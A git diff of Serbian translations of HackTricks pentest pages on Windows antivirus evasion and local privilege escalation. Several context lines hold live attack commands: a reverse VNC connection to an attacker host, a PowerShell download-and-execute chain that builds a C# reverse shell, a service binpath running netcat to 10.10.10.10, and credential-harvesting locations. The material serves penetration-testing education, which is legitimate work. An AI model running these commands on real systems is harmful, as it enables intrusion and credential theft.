**Napadač** treba da **izvrši unutar** svog **hosta** binarni `vncviewer.exe -listen 5900` kako bi bio **pripremljen** da uhvati obrnutu **VNC vezu**. Zatim, unutar **žrtve**: Pokrenite winvnc demon `winvnc.exe -run` i pokrenite `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
|
||||
**UPWARNING:** Da biste održali stealth, ne smete raditi nekoliko stvari
|
||||
**UPWARNING:** Da biste održali neprimetnost, ne smete raditi nekoliko stvari
|
||||
|
||||
- Ne pokrećite `winvnc` ako već radi ili ćete aktivirati [popup](https://i.imgur.com/1SROTTl.png). proverite da li radi sa `tasklist | findstr winvnc`
|
||||
- Ne pokrećite `winvnc` bez `UltraVNC.ini` u istom direktorijumu ili će se otvoriti [prozor za konfiguraciju](https://i.imgur.com/rfMQWcf.png)
|
||||
@ -378,7 +382,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
|
||||
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
#### Prvi C# Reverz shell
|
||||
#### Prvi C# Revershell
|
||||
|
||||
Kompajlirajte ga sa:
|
||||
```
|
||||
@ -465,6 +469,10 @@ catch (Exception err) { }
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
|
||||
|
||||
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
|
||||
|
||||
Automatsko preuzimanje i izvršavanje:
|
||||
```csharp
|
||||
64bit:
|
||||
@ -473,7 +481,9 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
|
||||
32bit:
|
||||
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
|
||||
```
|
||||
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
|
||||
{{#ref}}
|
||||
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
|
||||
{{#endref}}
|
||||
|
||||
Lista C# obfuskatora: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
|
||||
@ -523,5 +533,4 @@ https://github.com/praetorian-code/vulcan
|
||||
|
||||
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -55,7 +55,7 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec
|
||||
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
|
||||
Get-Hotfix -description "Security update" #List only "Security Update" patches
|
||||
```
|
||||
### Verzija Eksploatacije
|
||||
### Verzija Eksploata
|
||||
|
||||
Ova [stranica](https://msrc.microsoft.com/update-guide/vulnerability) je korisna za pretraživanje detaljnih informacija o Microsoft bezbednosnim ranjivostima. Ova baza podataka ima više od 4,700 bezbednosnih ranjivosti, pokazujući **ogromnu površinu napada** koju Windows okruženje predstavlja.
|
||||
|
||||
@ -71,7 +71,7 @@ Ova [stranica](https://msrc.microsoft.com/update-guide/vulnerability) je korisna
|
||||
- [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
|
||||
- [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
|
||||
|
||||
**Github repozitorijumi eksploatacija:**
|
||||
**Github repozitorijumi eksploata:**
|
||||
|
||||
- [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub)
|
||||
- [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
|
||||
@ -79,7 +79,7 @@ Ova [stranica](https://msrc.microsoft.com/update-guide/vulnerability) je korisna
|
||||
|
||||
### Okruženje
|
||||
|
||||
Da li su sačuvane bilo kakve akreditive/sočne informacije u varijablama okruženja?
|
||||
Da li su sačuvane bilo kakve kredencijale/sočne informacije u varijablama okruženja?
|
||||
```bash
|
||||
set
|
||||
dir env:
|
||||
@ -110,7 +110,7 @@ dir C:\Transcripts
|
||||
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
|
||||
Stop-Transcript
|
||||
```
|
||||
### PowerShell Modul Logovanje
|
||||
### PowerShell Module Logging
|
||||
|
||||
Detalji o izvršenju PowerShell pipeline-a se beleže, obuhvatajući izvršene komande, pozive komandi i delove skripti. Međutim, potpuni detalji izvršenja i rezultati izlaza možda neće biti zabeleženi.
|
||||
|
||||
@ -167,7 +167,7 @@ I ako je `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServ
|
||||
|
||||
Tada, **to je iskoristivo.** Ako je poslednji registar jednak 0, tada će WSUS unos biti ignorisan.
|
||||
|
||||
Da biste iskoristili ove ranjivosti, možete koristiti alate kao što su: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Ovo su MiTM oružane eksploatacione skripte za ubrizgavanje 'lažnih' ažuriranja u ne-SSL WSUS saobraćaj.
|
||||
Da biste iskoristili ove ranjivosti, možete koristiti alate kao što su: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Ovo su MiTM oružane eksploatacione skripte za injektovanje 'lažnih' ažuriranja u ne-SSL WSUS saobraćaj.
|
||||
|
||||
Pročitajte istraživanje ovde:
|
||||
|
||||
@ -178,15 +178,15 @@ Pročitajte istraživanje ovde:
|
||||
[**Pročitajte kompletan izveštaj ovde**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
|
||||
U suštini, ovo je greška koju ovaj bug iskorišćava:
|
||||
|
||||
> Ako imamo moć da modifikujemo naš lokalni korisnički proxy, i Windows Ažuriranja koriste proxy konfigurisan u podešavanjima Internet Explorera, stoga imamo moć da pokrenemo [PyWSUS](https://github.com/GoSecure/pywsus) lokalno da presretnemo naš vlastiti saobraćaj i pokrenemo kod kao privilegovani korisnik na našem resursu.
|
||||
> Ako imamo moć da modifikujemo naš lokalni korisnički proxy, i Windows ažuriranja koriste proxy konfigurisan u podešavanjima Internet Explorera, stoga imamo moć da pokrenemo [PyWSUS](https://github.com/GoSecure/pywsus) lokalno kako bismo presreli naš vlastiti saobraćaj i izvršili kod kao privilegovani korisnik na našem resursu.
|
||||
>
|
||||
> Štaviše, pošto WSUS servis koristi podešavanja trenutnog korisnika, takođe će koristiti njegov skladište sertifikata. Ako generišemo samopotpisani sertifikat za WSUS ime hosta i dodamo ovaj sertifikat u skladište sertifikata trenutnog korisnika, moći ćemo da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS-mehanizme za implementaciju validacije tipa poverenje-prvi-put na sertifikat. Ako je sertifikat koji se prikazuje poveren od strane korisnika i ima ispravno ime hosta, biće prihvaćen od strane servisa.
|
||||
> Štaviše, pošto WSUS servis koristi podešavanja trenutnog korisnika, takođe će koristiti njegov skladište sertifikata. Ako generišemo samopotpisani sertifikat za WSUS ime hosta i dodamo ovaj sertifikat u skladište sertifikata trenutnog korisnika, moći ćemo da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS mehanizme za implementaciju validacije tipa poverenje-prvi-put-korišćenje na sertifikatu. Ako je sertifikat koji se prikazuje poveren od strane korisnika i ima ispravno ime hosta, biće prihvaćen od strane servisa.
|
||||
|
||||
Možete iskoristiti ovu ranjivost koristeći alat [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (kada bude oslobođen).
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
**Lokalna privilegijska eskalacija** ranjivost postoji u Windows **domen** okruženjima pod specifičnim uslovima. Ovi uslovi uključuju okruženja gde **LDAP potpisivanje nije primenjeno,** korisnici poseduju samoprava koja im omogućava da konfigurišu **Resource-Based Constrained Delegation (RBCD),** i mogućnost za korisnike da kreiraju računare unutar domena. Važno je napomenuti da su ovi **zahtevi** ispunjeni korišćenjem **podrazumevanih podešavanja**.
|
||||
**Lokalna privilegija eskalacije** ranjivost postoji u Windows **domen** okruženjima pod specifičnim uslovima. Ovi uslovi uključuju okruženja gde **LDAP potpisivanje nije primenjeno,** korisnici poseduju samoprava koja im omogućavaju da konfigurišu **Resource-Based Constrained Delegation (RBCD),** i mogućnost za korisnike da kreiraju računare unutar domena. Važno je napomenuti da su ovi **zahtevi** ispunjeni korišćenjem **podrazumevanih podešavanja**.
|
||||
|
||||
Pronađite **eksploit u** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
@ -216,7 +216,7 @@ Samo izvršite kreirani binarni fajl da biste eskalirali privilegije.
|
||||
|
||||
### MSI Wrapper
|
||||
|
||||
Pročitajte ovaj tutorijal da biste naučili kako da kreirate MSI wrapper koristeći ove alate. Imajte na umu da možete obaviti "**.bat**" fajl ako **samo** želite da **izvršite** **komandne linije**.
|
||||
Pročitajte ovaj tutorijal da biste naučili kako da kreirate MSI wrapper koristeći ove alate. Imajte na umu da možete obaviti "**.bat**" fajl ako **samo** želite da **izvršite** **komandne linije**
|
||||
|
||||
{{#ref}}
|
||||
msi-wrapper.md
|
||||
@ -232,7 +232,7 @@ create-msi-with-wix.md
|
||||
|
||||
- **Generišite** sa Cobalt Strike ili Metasploit **novi Windows EXE TCP payload** u `C:\privesc\beacon.exe`
|
||||
- Otvorite **Visual Studio**, izaberite **Kreirajte novi projekat** i otkucajte "installer" u pretraživaču. Izaberite **Setup Wizard** projekat i kliknite **Next**.
|
||||
- Dajte projektu ime, kao što je **AlwaysPrivesc**, koristite **`C:\privesc`** za lokaciju, izaberite **postavite rešenje i projekat u istom direktorijumu**, i kliknite **Kreiraj**.
|
||||
- Dajte projektu ime, kao što je **AlwaysPrivesc**, koristite **`C:\privesc`** za lokaciju, izaberite **postavite rešenje i projekat u istom direktorijumu**, i kliknite **Create**.
|
||||
- Nastavite da klikćete **Next** dok ne dođete do koraka 3 od 4 (izaberite fajlove za uključivanje). Kliknite **Add** i izaberite Beacon payload koji ste upravo generisali. Zatim kliknite **Finish**.
|
||||
- Istaknite **AlwaysPrivesc** projekat u **Solution Explorer** i u **Properties**, promenite **TargetPlatform** sa **x86** na **x64**.
|
||||
- Postoje i druge osobine koje možete promeniti, kao što su **Autor** i **Proizvođač** koje mogu učiniti instaliranu aplikaciju izgledom legitimnijom.
|
||||
@ -251,9 +251,9 @@ msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||||
```
|
||||
Da biste iskoristili ovu ranjivost, možete koristiti: _exploit/windows/local/always_install_elevated_
|
||||
|
||||
## Antivirus i Detektori
|
||||
## Antivirus i detektori
|
||||
|
||||
### Podešavanja Revizije
|
||||
### Podešavanja revizije
|
||||
|
||||
Ova podešavanja odlučuju šta se **beleži**, pa treba obratiti pažnju
|
||||
```
|
||||
@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
```
|
||||
### LAPS
|
||||
|
||||
**LAPS** je dizajniran za **upravljanje lokalnim Administrator lozinkama**, osiguravajući da su svaka lozinka **jedinstvena, nasumična i redovno ažurirana** na računarima koji su pridruženi domenu. Ove lozinke su sigurno pohranjene unutar Active Directory-a i mogu se pristupiti samo korisnicima kojima su dodeljene dovoljne dozvole putem ACL-a, omogućavajući im da vide lokalne admin lozinke ako su ovlašćeni.
|
||||
**LAPS** je dizajniran za **upravljanje lokalnim Administrator lozinkama**, osiguravajući da je svaka lozinka **jedinstvena, nasumična i redovno ažurirana** na računarima koji su pridruženi domenu. Ove lozinke su sigurno pohranjene unutar Active Directory-a i mogu ih pristupiti samo korisnici kojima su dodeljene dovoljne dozvole putem ACL-a, omogućavajući im da vide lokalne admin lozinke ako su ovlašćeni.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -282,20 +282,20 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
|
||||
```
|
||||
### LSA Zaštita
|
||||
|
||||
Počevši od **Windows 8.1**, Microsoft je uveo poboljšanu zaštitu za Lokalnu sigurnosnu vlast (LSA) kako bi **blokirao** pokušaje nepouzdanih procesa da **pročitaju njegovu memoriju** ili ubace kod, dodatno osiguravajući sistem.\
|
||||
Počevši od **Windows 8.1**, Microsoft je uveo poboljšanu zaštitu za Lokalnu Bezbednosnu Autoritet (LSA) kako bi **blokirao** pokušaje nepouzdanih procesa da **pročitaju njegovu memoriju** ili ubace kod, dodatno osiguravajući sistem.\
|
||||
[**Više informacija o LSA zaštiti ovde**](../stealing-credentials/credentials-protections.md#lsa-protection).
|
||||
```bash
|
||||
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
```
|
||||
### Credentials Guard
|
||||
|
||||
**Credential Guard** je uveden u **Windows 10**. Njegova svrha je da zaštiti kredencijale pohranjene na uređaju od pretnji poput pass-the-hash napada. | [**Više informacija o Credentials Guard ovde.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
**Credential Guard** je uveden u **Windows 10**. Njegova svrha je da zaštiti kredencijale pohranjene na uređaju od pretnji poput napada pass-the-hash.| [**Više informacija o Credentials Guard ovde.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
```bash
|
||||
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
```
|
||||
### Keširane Kredencijale
|
||||
|
||||
**Kredencijali domena** se autentifikuju od strane **Lokalne bezbednosne vlasti** (LSA) i koriste ih komponente operativnog sistema. Kada se podaci o prijavljivanju korisnika autentifikuju od strane registrovanog bezbednosnog paketa, kredencijali domena za korisnika se obično uspostavljaju.\
|
||||
**Kredencijali domena** se autentifikuju od strane **Lokalne Bezbednosne Autoritete** (LSA) i koriste ih komponente operativnog sistema. Kada se podaci za prijavu korisnika autentifikuju od strane registrovanog bezbednosnog paketa, kredencijali domena za korisnika se obično uspostavljaju.\
|
||||
[**Više informacija o Keširanim Kredencijalima ovde**](../stealing-credentials/credentials-protections.md#cached-credentials).
|
||||
```bash
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||||
@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
|
||||
### Dozvole za Fajlove i Foldere
|
||||
|
||||
Prvo, lista procesa **proverava lozinke unutar komandne linije procesa**.\
|
||||
Proverite da li možete **prepisati neki izvršni fajl koji se pokreće** ili da li imate dozvole za pisanje u folderu izvršnog fajla kako biste iskoristili moguće [**DLL Hijacking napade**](dll-hijacking/):
|
||||
Proverite da li možete **prepisati neki pokrenuti binarni fajl** ili da li imate dozvole za pisanje u binarnu fasciklu kako biste iskoristili moguće [**DLL Hijacking napade**](dll-hijacking/):
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||
@ -381,7 +381,7 @@ icacls "%%z"
|
||||
)
|
||||
)
|
||||
```
|
||||
**Proveravanje dozvola foldera binarnih datoteka procesa (**[**DLL Hijacking**](dll-hijacking/)**)**
|
||||
**Proveravanje dozvola foldera binarnih fajlova procesa (**[**DLL Hijacking**](dll-hijacking/)**)**
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||||
@ -395,15 +395,15 @@ Možete napraviti memorijski dump pokrenutog procesa koristeći **procdump** iz
|
||||
```bash
|
||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
```
|
||||
### Insecure GUI aplikacije
|
||||
### Nesigurne GUI aplikacije
|
||||
|
||||
**Aplikacije koje se pokreću kao SYSTEM mogu omogućiti korisniku da pokrene CMD ili pretražuje direktorijume.**
|
||||
**Aplikacije koje se izvršavaju kao SYSTEM mogu omogućiti korisniku da pokrene CMD ili pretražuje direktorijume.**
|
||||
|
||||
Primer: "Windows Help and Support" (Windows + F1), pretražite "command prompt", kliknite na "Click to open Command Prompt"
|
||||
|
||||
## Servisi
|
||||
## Usluge
|
||||
|
||||
Dobijte listu servisa:
|
||||
Dobijte listu usluga:
|
||||
```bash
|
||||
net start
|
||||
wmic service list brief
|
||||
@ -412,7 +412,7 @@ Get-Service
|
||||
```
|
||||
### Dozvole
|
||||
|
||||
Možete koristiti **sc** za dobijanje informacija o servisu
|
||||
Možete koristiti **sc** da dobijete informacije o servisu
|
||||
```bash
|
||||
sc qc <service_name>
|
||||
```
|
||||
@ -457,14 +457,14 @@ sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm
|
||||
|
||||
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
|
||||
```
|
||||
### Ponovno pokrenite uslugu
|
||||
### Ponovno pokreni uslugu
|
||||
```bash
|
||||
wmic service NAMEOFSERVICE call startservice
|
||||
net stop [service name] && net start [service name]
|
||||
```
|
||||
Privilegije se mogu eskalirati kroz različite dozvole:
|
||||
|
||||
- **SERVICE_CHANGE_CONFIG**: Omogućava rekonfiguraciju binarnog fajla servisa.
|
||||
- **SERVICE_CHANGE_CONFIG**: Omogućava rekonfiguraciju binarne datoteke servisa.
|
||||
- **WRITE_DAC**: Omogućava rekonfiguraciju dozvola, što dovodi do mogućnosti promene konfiguracija servisa.
|
||||
- **WRITE_OWNER**: Dozvoljava sticanje vlasništva i rekonfiguraciju dozvola.
|
||||
- **GENERIC_WRITE**: Nasleđuje sposobnost promene konfiguracija servisa.
|
||||
@ -472,10 +472,10 @@ Privilegije se mogu eskalirati kroz različite dozvole:
|
||||
|
||||
Za detekciju i eksploataciju ove ranjivosti, može se koristiti _exploit/windows/local/service_permissions_.
|
||||
|
||||
### Slabe dozvole binarnih fajlova servisa
|
||||
### Slabe dozvole binarnih datoteka servisa
|
||||
|
||||
**Proverite da li možete da modifikujete binarni fajl koji izvršava servis** ili da li imate **dozvole za pisanje na folderu** gde se binarni fajl nalazi ([**DLL Hijacking**](dll-hijacking/))**.**\
|
||||
Možete dobiti svaki binarni fajl koji izvršava servis koristeći **wmic** (ne u system32) i proveriti svoje dozvole koristeći **icacls**:
|
||||
**Proverite da li možete da modifikujete binarnu datoteku koja se izvršava putem servisa** ili da li imate **dozvole za pisanje u folderu** gde se binarna datoteka nalazi ([**DLL Hijacking**](dll-hijacking/))**.**\
|
||||
Možete dobiti svaku binarnu datoteku koja se izvršava putem servisa koristeći **wmic** (ne u system32) i proveriti svoje dozvole koristeći **icacls**:
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||||
|
||||
@ -487,10 +487,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
|
||||
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
|
||||
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
|
||||
```
|
||||
### Modifikovanje dozvola registrija usluga
|
||||
### Modifikacija dozvola registra usluga
|
||||
|
||||
Trebalo bi da proverite da li možete da modifikujete bilo koji registri usluga.\
|
||||
Možete **proveriti** svoje **dozvole** nad **registrijem** usluga tako što ćete:
|
||||
Trebalo bi da proverite da li možete da modifikujete bilo koji registar usluga.\
|
||||
Možete **proveriti** svoje **dozvole** nad **registrima** usluga tako što ćete:
|
||||
```bash
|
||||
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
|
||||
|
||||
@ -523,7 +523,7 @@ C:\Program.exe
|
||||
C:\Program Files\Some.exe
|
||||
C:\Program Files\Some Folder\Service.exe
|
||||
```
|
||||
Lista svih necitiranih putanja servisa, isključujući one koje pripadaju ugrađenim Windows servisima:
|
||||
Nabrojte sve necitirane putanje servisa, isključujući one koje pripadaju ugrađenim Windows servisima:
|
||||
```powershell
|
||||
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
|
||||
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
|
||||
@ -555,7 +555,7 @@ Windows omogućava korisnicima da odrede akcije koje će se preduzeti ako usluga
|
||||
|
||||
### Instalirane aplikacije
|
||||
|
||||
Proverite **dozvole binarnih fajlova** (možda možete da prepišete jedan i eskalirate privilegije) i **foldere** ([DLL Hijacking](dll-hijacking/)).
|
||||
Proverite **dozvole binarnih fajlova** (možda možete da prepišete jedan i eskalirate privilegije) i **foldera** ([DLL Hijacking](dll-hijacking/)).
|
||||
```bash
|
||||
dir /a "C:\Program Files"
|
||||
dir /a "C:\Program Files (x86)"
|
||||
@ -594,7 +594,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
|
||||
### Pokreni pri pokretanju
|
||||
|
||||
**Proverite da li možete da prepišete neki registar ili binarni fajl koji će biti izvršen od strane drugog korisnika.**\
|
||||
**Pročitajte** **sledeću stranicu** da biste saznali više o zanimljivim **lokacijama autorun-a za eskalaciju privilegija**:
|
||||
**Pročitajte** **sledeću stranicu** da biste saznali više o zanimljivim **mestima za autorun za eskalaciju privilegija**:
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-with-autorun-binaries.md
|
||||
@ -602,7 +602,7 @@ privilege-escalation-with-autorun-binaries.md
|
||||
|
||||
### Drajveri
|
||||
|
||||
Potražite moguće **treće strane čudne/ranjive** drajvere.
|
||||
Pogledajte moguće **treće strane čudne/ranjive** drajvere.
|
||||
```bash
|
||||
driverquery
|
||||
driverquery.exe /fo table
|
||||
@ -680,7 +680,7 @@ wsl whoami
|
||||
wsl whoami
|
||||
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
|
||||
```
|
||||
Da biste lako pokrenuli bash kao root, možete pokušati `--default-user root`
|
||||
Da biste lako pokrenuli bash kao root, možete probati `--default-user root`
|
||||
|
||||
Možete istražiti `WSL` datotečni sistem u fascikli `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`
|
||||
|
||||
@ -701,9 +701,9 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
|
||||
### Menadžer kredencijala / Windows trezor
|
||||
|
||||
Sa [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||||
Windows trezor čuva korisničke kredencijale za servere, veb sajtove i druge programe koje **Windows** može **automatski da prijavi korisnike**. Na prvi pogled, ovo može izgledati kao da korisnici mogu da čuvaju svoje Facebook kredencijale, Twitter kredencijale, Gmail kredencijale itd., tako da se automatski prijavljuju putem pregledača. Ali to nije tako.
|
||||
Windows Trezor čuva korisničke kredencijale za servere, veb sajtove i druge programe koje **Windows** može **automatski da prijavi korisnike**. Na prvi pogled, ovo može izgledati kao da korisnici mogu da čuvaju svoje Facebook kredencijale, Twitter kredencijale, Gmail kredencijale itd., tako da se automatski prijavljuju putem pregledača. Ali to nije tako.
|
||||
|
||||
Windows trezor čuva kredencijale koje Windows može automatski da prijavi korisnicima, što znači da svaka **Windows aplikacija koja treba kredencijale za pristup resursu** (serveru ili veb sajtu) **može koristiti ovaj Menadžer kredencijala** i Windows trezor i koristiti kredencijale koje su dostavljene umesto da korisnici stalno unose korisničko ime i lozinku.
|
||||
Windows Trezor čuva kredencijale koje Windows može automatski da prijavi korisnicima, što znači da svaka **Windows aplikacija koja treba kredencijale za pristup resursu** (serveru ili veb sajtu) **može koristiti ovaj Menadžer kredencijala** i Windows Trezor i koristiti kredencijale koje su dostavljene umesto da korisnici stalno unose korisničko ime i lozinku.
|
||||
|
||||
Osim ako aplikacije ne komuniciraju sa Menadžerom kredencijala, ne mislim da je moguće da koriste kredencijale za dati resurs. Dakle, ako vaša aplikacija želi da koristi trezor, treba nekako **da komunicira sa menadžerom kredencijala i zatraži kredencijale za taj resurs** iz podrazumevanog skladišta trezora.
|
||||
|
||||
@ -727,9 +727,9 @@ Napomena da mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util
|
||||
|
||||
### DPAPI
|
||||
|
||||
**Data Protection API (DPAPI)** pruža metodu za simetričnu enkripciju podataka, koja se pretežno koristi unutar Windows operativnog sistema za simetričnu enkripciju asimetričnih privatnih ključeva. Ova enkripcija koristi tajnu korisnika ili sistema kako bi značajno doprinela entropiji.
|
||||
**Data Protection API (DPAPI)** pruža metodu za simetričnu enkripciju podataka, pretežno korišćenu unutar Windows operativnog sistema za simetričnu enkripciju asimetričnih privatnih ključeva. Ova enkripcija koristi tajnu korisnika ili sistema kako bi značajno doprinela entropiji.
|
||||
|
||||
**DPAPI omogućava enkripciju ključeva putem simetričnog ključa koji se izvodi iz korisničkih prijavnih tajni**. U scenarijima koji uključuju enkripciju sistema, koristi tajne autentifikacije domena sistema.
|
||||
**DPAPI omogućava enkripciju ključeva putem simetričnog ključa koji se izvodi iz korisničkih login tajni**. U scenarijima koji uključuju enkripciju sistema, koristi tajne autentifikacije domena sistema.
|
||||
|
||||
Enkriptovani korisnički RSA ključevi, koristeći DPAPI, čuvaju se u `%APPDATA%\Microsoft\Protect\{SID}` direktorijumu, gde `{SID}` predstavlja korisnički [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **DPAPI ključ, koji se nalazi zajedno sa master ključem koji štiti korisničke privatne ključeve u istom fajlu**, obično se sastoji od 64 bajta nasumičnih podataka. (Važno je napomenuti da je pristup ovom direktorijumu ograničen, sprečavajući listanje njegovog sadržaja putem `dir` komande u CMD, iako se može listati putem PowerShell-a).
|
||||
```powershell
|
||||
@ -738,7 +738,7 @@ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
```
|
||||
Možete koristiti **mimikatz modul** `dpapi::masterkey` sa odgovarajućim argumentima (`/pvk` ili `/rpc`) da ga dekriptujete.
|
||||
|
||||
**Datoteke sa kredencijalima zaštićene glavnom lozinkom** obično se nalaze u:
|
||||
**datoteke sa kredencijalima zaštićene glavnom lozinkom** obično se nalaze u:
|
||||
```powershell
|
||||
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
@ -786,7 +786,7 @@ i u `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
|
||||
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
```
|
||||
### **Upravljač kredencijala za udaljenu radnu površinu**
|
||||
### **Upravljač kredencijala za daljinsku radnu površinu**
|
||||
```
|
||||
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
|
||||
```
|
||||
@ -799,7 +799,7 @@ Ljudi često koriste aplikaciju StickyNotes na Windows radnim stanicama da **sa
|
||||
|
||||
### AppCmd.exe
|
||||
|
||||
**Napomena: da biste povratili lozinke iz AppCmd.exe, morate biti Administrator i raditi pod visokim integritetom.**\
|
||||
**Napomena da da biste povratili lozinke iz AppCmd.exe morate biti Administrator i raditi pod visokim integritetom.**\
|
||||
**AppCmd.exe** se nalazi u `%systemroot%\system32\inetsrv\` direktorijumu.\
|
||||
Ako ovaj fajl postoji, moguće je da su neka **akreditivna** podešavanja konfigurisana i mogu se **povratiti**.
|
||||
|
||||
@ -884,7 +884,7 @@ $ErrorActionPreference = $OrigError
|
||||
### SCClient / SCCM
|
||||
|
||||
Proverite da li `C:\Windows\CCM\SCClient.exe` postoji.\
|
||||
Instalateri se **izvršavaju sa SYSTEM privilegijama**, mnogi su ranjivi na **DLL Sideloading (Informacije iz** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||||
Instalateri se **izvršavaju sa SYSTEM privilegijama**, mnogi su ranjivi na **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||||
```bash
|
||||
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
||||
if ($result) { $result }
|
||||
@ -902,14 +902,14 @@ reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
|
||||
```
|
||||
